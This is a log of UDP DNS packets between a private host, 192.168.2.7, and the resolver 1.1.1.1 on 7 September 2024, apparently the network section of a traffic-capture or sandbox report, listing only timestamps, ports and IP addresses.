Sep 7, 2024 15:32:46.118391037 CEST	53	52146	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:46.169605017 CEST	57343	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:46.413201094 CEST	53	57343	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:46.475670099 CEST	60615	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:46.510133982 CEST	53	60615	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:46.530729055 CEST	53538	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:46.552582979 CEST	53	53538	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:46.616930008 CEST	60157	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:46.631993055 CEST	53	60157	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:46.653615952 CEST	63174	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:46.661780119 CEST	53	63174	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:46.671328068 CEST	59241	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:46.680704117 CEST	53	59241	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:46.739905119 CEST	61994	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:46.756242037 CEST	53	61994	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:46.833722115 CEST	59791	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:46.863341093 CEST	53	59791	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:46.927359104 CEST	55909	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:47.186626911 CEST	53	55909	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:47.191685915 CEST	59882	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:47.202402115 CEST	53	59882	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:47.255568027 CEST	56128	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:47.536467075 CEST	56128	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:47.598402023 CEST	53	56128	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:47.598422050 CEST	53	56128	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:47.612234116 CEST	63750	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:47.710638046 CEST	53	63750	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:47.772136927 CEST	50285	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:47.783294916 CEST	53	50285	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:47.785419941 CEST	51170	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:47.797719955 CEST	53	51170	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:47.850233078 CEST	61297	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:47.859642029 CEST	53	61297	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:47.865659952 CEST	54154	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:47.877784967 CEST	53	54154	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:47.942966938 CEST	61548	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:47.954216957 CEST	53	61548	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:47.956330061 CEST	52168	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:47.965851068 CEST	53	52168	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:48.022150993 CEST	56804	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:48.037189960 CEST	53	56804	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:48.040853024 CEST	52793	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:48.049360037 CEST	53	52793	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:48.115190983 CEST	63379	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:48.217818022 CEST	53	63379	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:48.219985962 CEST	54891	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:48.320869923 CEST	53	54891	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:48.380844116 CEST	61008	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:48.390151024 CEST	53	61008	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:48.392304897 CEST	61897	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:48.415940046 CEST	53	61897	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:48.474919081 CEST	55066	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:48.584582090 CEST	53	55066	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:48.590262890 CEST	53475	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:48.695149899 CEST	53	53475	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:48.757886887 CEST	54443	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:48.792632103 CEST	53	54443	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:48.794928074 CEST	65433	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:48.834338903 CEST	53	65433	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:48.896739960 CEST	51139	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:48.907154083 CEST	53	51139	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:48.909992933 CEST	57828	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:48.918986082 CEST	53	57828	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:48.975313902 CEST	50712	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:48.989882946 CEST	53	50712	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:48.994570017 CEST	60584	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:49.009107113 CEST	53	60584	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:49.068346977 CEST	55790	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:49.085628033 CEST	53	55790	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:49.090836048 CEST	50206	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:49.111470938 CEST	53	50206	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:49.161745071 CEST	56956	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:49.198852062 CEST	53	56956	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:49.320787907 CEST	58066	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:49.373908043 CEST	53	58066	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:49.375956059 CEST	64470	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:49.416728973 CEST	53	64470	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:49.474689960 CEST	62088	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:49.485168934 CEST	53	62088	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:49.489087105 CEST	52671	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:49.501532078 CEST	53	52671	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:49.554496050 CEST	58913	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:49.588960886 CEST	53	58913	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:49.591701031 CEST	63434	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:49.629276037 CEST	53	63434	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:49.693016052 CEST	61778	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:49.810930014 CEST	53	61778	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:49.833076000 CEST	52516	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:49.932338953 CEST	53	52516	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:49.990677118 CEST	54471	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:50.092976093 CEST	53	54471	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:50.095176935 CEST	51186	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:50.195524931 CEST	53	51186	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:50.255925894 CEST	62504	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:50.269165993 CEST	53	62504	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:50.333570004 CEST	60569	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:50.584538937 CEST	53	60569	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:50.624022007 CEST	54202	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:50.788921118 CEST	53	54202	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:50.849512100 CEST	55812	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:50.892229080 CEST	53	55812	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:50.898566008 CEST	50007	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:50.927618027 CEST	53	50007	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:50.990431070 CEST	57361	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:51.094153881 CEST	53	57361	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:51.096369982 CEST	63472	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:51.367711067 CEST	63472	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:51.389544964 CEST	53	63472	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:51.396487951 CEST	53	63472	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:51.443288088 CEST	64010	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:51.545104980 CEST	53	64010	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:51.548108101 CEST	59284	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:51.753266096 CEST	53	59284	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:51.802515984 CEST	55423	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:51.823357105 CEST	53	55423	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:51.825505018 CEST	57998	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:51.835656881 CEST	53	57998	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:51.896092892 CEST	61849	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:51.925903082 CEST	53	61849	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:51.946737051 CEST	62012	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:51.960081100 CEST	53	62012	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:51.966398954 CEST	55954	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:51.982891083 CEST	53	55954	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:52.037889957 CEST	62127	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:52.140635967 CEST	53	62127	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:52.146908045 CEST	60723	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:52.427077055 CEST	60723	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:52.625499964 CEST	53	60723	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:52.625895023 CEST	53	60723	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:52.677515984 CEST	54789	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:52.777806044 CEST	53	54789	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:52.780452013 CEST	56978	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:52.889249086 CEST	53	56978	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:52.943001986 CEST	53423	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:52.974853039 CEST	53	53423	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:52.977041006 CEST	58423	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:53.016144991 CEST	53	58423	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:53.068238020 CEST	57880	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:53.114733934 CEST	53	57880	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:53.117069960 CEST	54968	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:53.152849913 CEST	53	54968	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:53.209332943 CEST	64298	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:53.227781057 CEST	53	64298	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:53.318021059 CEST	56239	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:53.591063023 CEST	53	56239	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:53.597848892 CEST	60536	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:53.865155935 CEST	60536	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:53.875498056 CEST	53	60536	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:53.875601053 CEST	53	60536	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:53.928316116 CEST	56629	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:54.033761978 CEST	53	56629	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:54.040635109 CEST	60383	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:54.317667961 CEST	60383	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:54.876462936 CEST	53	60383	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:54.877269983 CEST	53	60383	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:54.928678036 CEST	56349	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:55.165301085 CEST	53	56349	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:55.168952942 CEST	63562	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:55.411858082 CEST	53	63562	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:55.475200891 CEST	51811	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:55.724972963 CEST	53	51811	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:55.759846926 CEST	64394	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:56.036464930 CEST	64394	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:56.156883955 CEST	53	64394	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:56.156902075 CEST	53	64394	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:56.208748102 CEST	55486	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:56.306941032 CEST	53	55486	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:56.315179110 CEST	58535	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:56.420897961 CEST	53	58535	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:56.490010023 CEST	51192	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:56.525145054 CEST	53	51192	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:56.528131008 CEST	54945	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:56.568851948 CEST	53	54945	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:56.614850998 CEST	62150	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:56.624525070 CEST	53	62150	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:56.627232075 CEST	59501	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:56.636877060 CEST	53	59501	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:56.694264889 CEST	61607	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:56.704067945 CEST	53	61607	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:56.707783937 CEST	54363	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:56.717468023 CEST	53	54363	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:56.771868944 CEST	55127	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:56.784226894 CEST	53	55127	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:56.798726082 CEST	49547	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:56.813766956 CEST	53	49547	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:56.864841938 CEST	61632	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:56.970150948 CEST	53	61632	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:56.972603083 CEST	54969	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:57.076262951 CEST	53	54969	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:57.134162903 CEST	55121	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:57.144067049 CEST	53	55121	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:57.149084091 CEST	65528	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:57.169858932 CEST	53	65528	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:57.224374056 CEST	58610	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:57.238465071 CEST	53	58610	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:57.241744995 CEST	49404	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:57.251686096 CEST	53	49404	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:57.303734064 CEST	51904	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:57.407294035 CEST	53	51904	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:57.409460068 CEST	61247	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:57.513547897 CEST	53	61247	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:57.570085049 CEST	64378	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:57.580307961 CEST	53	64378	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:57.584431887 CEST	61329	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:57.594304085 CEST	53	61329	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:57.651592016 CEST	57127	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:57.676132917 CEST	53	57127	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:57.684020042 CEST	60959	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:57.693061113 CEST	53	60959	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:57.758112907 CEST	57212	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:57.854382992 CEST	53	57212	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:57.860755920 CEST	55920	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:57.956357956 CEST	53	55920	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:58.005692959 CEST	52468	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:58.015548944 CEST	53	52468	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:58.017931938 CEST	59063	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:58.028209925 CEST	53	59063	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:58.083758116 CEST	63547	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:58.357703924 CEST	53	63547	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:58.360063076 CEST	51397	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:58.391424894 CEST	53	51397	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:58.443113089 CEST	56280	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:58.453109026 CEST	53	56280	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:58.455106020 CEST	51148	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:58.465117931 CEST	53	51148	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:58.521383047 CEST	59781	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:58.711106062 CEST	53	59781	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:58.714379072 CEST	61549	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:58.813467026 CEST	53	61549	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:58.865330935 CEST	51906	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:58.874401093 CEST	53	51906	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:58.884587049 CEST	59805	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:58.894056082 CEST	53	59805	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:58.897548914 CEST	53442	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:58.906332016 CEST	53	53442	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:58.959075928 CEST	60515	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:58.968713999 CEST	53	60515	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:58.979809046 CEST	64725	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:58.991296053 CEST	53	64725	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:58.993849039 CEST	60454	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:59.003344059 CEST	53	60454	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:59.052917957 CEST	59928	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:59.323040009 CEST	53	59928	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:59.331021070 CEST	65398	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:59.599117994 CEST	65398	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:59.620429039 CEST	53	65398	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:59.620456934 CEST	53	65398	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:59.678643942 CEST	52417	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:59.696969986 CEST	53	52417	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:59.771390915 CEST	57726	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:59.792172909 CEST	53	57726	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:59.851052046 CEST	54119	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:59.862169981 CEST	53	54119	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:59.875834942 CEST	56978	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:59.892064095 CEST	53	56978	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:59.943216085 CEST	50838	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:00.111316919 CEST	53	50838	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:00.114237070 CEST	60111	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:00.380235910 CEST	60111	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:00.380717993 CEST	53	60111	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:00.389689922 CEST	53	60111	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:00.427398920 CEST	54910	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:00.457480907 CEST	53	54910	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:00.523859024 CEST	55893	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:00.543915033 CEST	53	55893	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:00.550354004 CEST	55800	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:00.585395098 CEST	53	55800	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:00.630768061 CEST	54585	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:00.656683922 CEST	53	54585	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:00.725382090 CEST	55658	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:00.823484898 CEST	53	55658	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:00.830723047 CEST	65065	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:00.925863028 CEST	53	65065	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:00.975240946 CEST	59484	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:00.986663103 CEST	53	59484	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:00.989952087 CEST	62868	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:00.999747992 CEST	53	62868	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:01.052932024 CEST	57959	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:01.292160034 CEST	53	57959	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:01.302906990 CEST	55883	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:01.400760889 CEST	53	55883	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:01.463875055 CEST	58940	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:01.484431028 CEST	53	58940	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:01.570960999 CEST	59963	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:01.588258982 CEST	53	59963	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:01.678899050 CEST	62933	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:01.915973902 CEST	53	62933	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:01.919658899 CEST	57277	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:02.162483931 CEST	53	57277	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:02.211652994 CEST	62324	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:02.229063988 CEST	53	62324	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:02.349490881 CEST	56694	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:02.607974052 CEST	53	56694	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:02.611311913 CEST	65001	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:02.854789019 CEST	53	65001	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:02.912816048 CEST	63750	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:03.012401104 CEST	53	63750	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:03.014996052 CEST	56844	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:03.257297039 CEST	53	56844	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:03.302642107 CEST	56392	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:03.312176943 CEST	53	56392	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:03.319907904 CEST	60443	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:03.333138943 CEST	53	60443	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:03.383469105 CEST	64670	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:03.407346010 CEST	53	64670	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:03.410367966 CEST	52547	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:03.421070099 CEST	53	52547	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:03.474750042 CEST	60506	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:03.484338999 CEST	53	60506	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:03.487308025 CEST	64561	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:03.504267931 CEST	53	64561	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:03.553241968 CEST	61241	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:03.650513887 CEST	53	61241	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:03.660103083 CEST	51427	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:03.769167900 CEST	53	51427	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:03.818675041 CEST	53399	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:03.838062048 CEST	53	53399	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:03.856303930 CEST	52143	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:03.865462065 CEST	53	52143	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:03.874732018 CEST	52062	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:03.883177996 CEST	53	52062	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:03.928277016 CEST	65245	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:04.029460907 CEST	53	65245	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:04.032217026 CEST	58394	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:04.302185059 CEST	58394	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:04.313249111 CEST	53	58394	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:04.873179913 CEST	53	58394	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:05.084517956 CEST	59523	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:05.116291046 CEST	53	59523	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:05.118537903 CEST	50797	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:05.159914970 CEST	53	50797	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:05.210527897 CEST	54857	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:05.226109028 CEST	53	54857	1.1.1.1	192.168.2.7
